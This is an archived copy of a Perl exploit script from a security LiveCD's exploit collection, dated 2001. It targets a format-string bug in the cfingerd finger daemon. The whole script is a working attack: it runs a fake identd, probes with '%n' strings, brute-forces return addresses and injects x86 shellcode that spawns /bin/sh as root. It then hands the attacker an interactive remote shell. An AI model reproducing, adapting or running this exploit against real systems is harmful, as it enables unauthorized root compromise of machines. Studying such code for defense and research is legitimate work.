home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
application
/
finger
/
cfingerd
/
fingex.pl
< prev
next >
Wrap
Perl Script
|
2005-02-12
|
8KB
|
254 lines
#!/usr/bin/perl
# Cfingerd exploit to the recent syslog format bug.
# Discovered and written by Lez <abullah@freemail.hu> in 2001.
# you have to use it as root to bind port 113.
# tested on Debian 2.1, 2.2
use IO::Socket;
#use strict;
my $network_timeout=5;
my $sleep_between_fingers=2; # should be enough
my $debug_sleep=0;
my $fingerport=79;
my $target=$ARGV[0];
my $debug=1;
my $test_vulnerability=1;
# Debian 2.2, cfingerd 1.4.1-1
#my $control=33; # if don't set it, exploit will find.
#my $align=0; # the same
#$retaddr=0xbffffab0;
# my $retaddr=0xbffff880; # the same
#$retaddr=0xbffff840;
my $retvalue=0xbffff980; # If it finds everything correctly, and says Shell lunched, but
# you can't find your uid 0, decrease $retvalue by 30.
my $bytes_written=32;
#$control=17;
#$align=0;
#$retaddr=0xbffffb80; #(or 0xbffffb68 0xbffff9d0 0xbffff9cc 0xbffff9c8)
#$retvalue=0xbffffc20;
#$bytes_written=32;
# GOOD:
my $startsig11=0xbffffbfc;
my $endsig11= 0xbffff000;
my $controlstart=45;
my $controlend=1;
my $fclient;
my $shellcode ="\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\xb0\x2e\xcd\x80".
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
#59 bytes
if (!$target) {print "Usage: $0 target\n";exit}
# Starting fake identd
my $identd = IO::Socket::INET->new(
Listen => 5,
LocalPort => 113,
Proto => 'tcp',
Reuse => 3) or die "Cannot listen to port 113: $!\n";
if ($test_vulnerability) {&testvuln}
if (!$control) { &get_control_and_align }
else {print "Alignment: $align\nControl: $control\n" }
if (!$retaddr) {
&find_and_exploit_sigsegv_values
}
else {
printf "Using provided RET address: 0x%x\n",$retaddr;
&exploit ($retaddr, $retvalue);
}
exit;
sub sendthisone { #sends a string to cfingerd, and returns 1 if the remote machine got SIGSEGV or SIGILL.
# a bit tricky
my $text_to_send=$_[0];
$text_to_send =~ s/^\ /\ \ /;
my ($last_119, $gotback);
$fclient = IO::Socket::INET->new("$target:$fingerport") or die "Cannot connect to $target: $!\n";
print $fclient "e\n"; # e is the username we query.
my $ident_client = $identd-> accept;
my $tmp=<$ident_client>;
my $first_64= substr($text_to_send, 0, 64);
if (length($text_to_send) > 64) {
$last_119= substr($text_to_send,64);
}
sleep $debug_sleep;
print $ident_client "$last_119: : :$first_64\n"; # we use an other bug
# in rfc query function
# to send longer lines.
close $ident_client;
eval {
local $SIG{ALRM} = sub { die "alarm\n"};
alarm ($network_timeout);
$gotback= <$fclient>;
alarm 0;
};
if ($@) {
die unless $@ eq "alarm\n";
&shell;
}
if ($gotback =~ /SIGSEGV/i) {
if ($debug == 2) {print "Sending $first_64$last_119: SIGSEGV\n";}
elsif ($debug == 1) {system ("echo -n \"*\"");}
sleep ($sleep_between_fingers);
return 1;
} elsif ($gotback =~ /SIGILL/i) {
if ($debug == 2) {print "Sending $first_64$last_119: SIGILL\n";}
elsif ($debug == 1) {system ("echo -n +");}
print "Got signal \"Illegal instruction\".\nThe ret address is not correct\n";
sleep ($sleep_between_fingers);
return 1;
} else {
if ($debug == 2) {print "Sending $first_64$last_119\n";}
elsif ($debug == 1) {system ("echo -n .");}
sleep ($sleep_between_fingers);
return 0;
}
}
sub get_control_and_align {
for ($control=$controlstart; $control >= $controlend; $control--) {
for ($align=3; $align>=0; $align--) {
my $s1= "A"x$align . "\x79\xff\xff\xbe" . "%" . $control . "\$n";
my $s2= "A"x$align . "\x79\xff\xff\xbf" . "%" . $control . "\$n";
if (sendthisone($s1) > sendthisone ($s2)) {
print "\nControl: $control\nAlign: $align\n";
return;
}
}
}
die "Could not find control and alignment values\n";
}
sub find_and_exploit_sigsegv_values {
my ($sendbuf, @back, $addy, $retaddr, $save);
print "Searching for eip addresses...\n";
for ($addy=$startsig11; $addy >= $endsig11; $addy -=4) {
$sendbuf = "a"x$align . pack "cccc",$addy,$addy>>8,$addy>>16,$addy>>24;
$sendbuf .= "%" . $control . "\$n";
if ($addy%0x100) {
if (sendthisone($sendbuf)) {
&exploit ($addy, $retvalue); # I'm so lazy
&exploit ($addy, $retvalue-60);
&exploit ($addy, $retvalue+60);
&exploit ($addy, $retvalue-120);
&exploit ($addy, $retvalue+120);
&exploit ($addy, $retvalue-180);
&exploit ($addy, $retvalue+180);
&exploit ($addy, $retvalue-240);
&exploit ($addy, $retvalue+240);
&exploit ($addy, $retvalue-300);
&exploit ($addy, $retvalue+300);
&exploit ($addy, $retvalue-360);
&exploit ($addy, $retvalue+360);
&exploit ($addy, $retvalue-420);
&exploit ($addy, $retvalue+420);
}
}
}
}
sub exploit {
my $addy=$_[0];
my $value=$_[1];
my $sendbuf;
printf "\nExploiting 0x%x, ret:0x%x.\n",$addy,$value;
$sendbuf = "Z"x$align;
$sendbuf .= &add_four_addresses($addy);
$sendbuf .= &add_format_strings($value);
$sendbuf .= "\x90"x (182-length($sendbuf)-length($shellcode));
$sendbuf .= $shellcode;
&sendthisone ($sendbuf);
}
sub add_four_addresses {
my $addy=$_[0];
my ($back, $i);
for ($i=0; $i<=3; $i++) {
$back .= pack "cccc",
($addy+$i),
($addy+$i)>>8,
($addy+$i)>>16,
($addy+$i)>>24;
}
return $back;
}
sub add_format_strings {
my ($back, $i, @a, $xvalue, $nvalue, $back);
my $ret=$_[0];
$a[0]=$ret%0x100-$bytes_written;
for ($i=1; $i<=3; $i++) {
$a[$i]= ($ret >> (8*$i) )%0x100 - ($ret >> (8*($i-1)) )%0x100;
}
for ($i=0; $i<=3; $i++) {
$xvalue= &positive($a[$i]);
$nvalue= $control+$i;
if ($xvalue <=8) {
$back .= "A"x$xvalue . "%".$nvalue."\$n";
} else {
$back .= "%0".$xvalue."x" . "%".$nvalue."\$n";
}
}
return $back;
}
sub positive {
my $number=$_[0];
while ($number < 0) {
$number += 0x100;
}
return $number;
}
sub shell {
my ($cucc, $msg);
print "Shell launched\n";
print $fclient "id\n";
print &my_line(1);
while (1) {
$cucc=<STDIN>;
print $fclient $cucc;
while ($msg=&my_line(1)) {
print $msg;
}
}
}
sub my_line {
my $msg;
eval {
local $SIG{ALRM} = sub { die "\n"};
alarm ($_[0]);
if ($msg=<$fclient>) {
alarm (0);
return $msg;
}
};
}
sub testvuln {
if ($debug) {print "Testing if fingerd is vulnerable... "}
if (&sendthisone ("%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n")) {
print "Yes.\n";
return;
} else {
print "No.\n";
exit;
}
}
# www.hack.co.za [29 April 2001]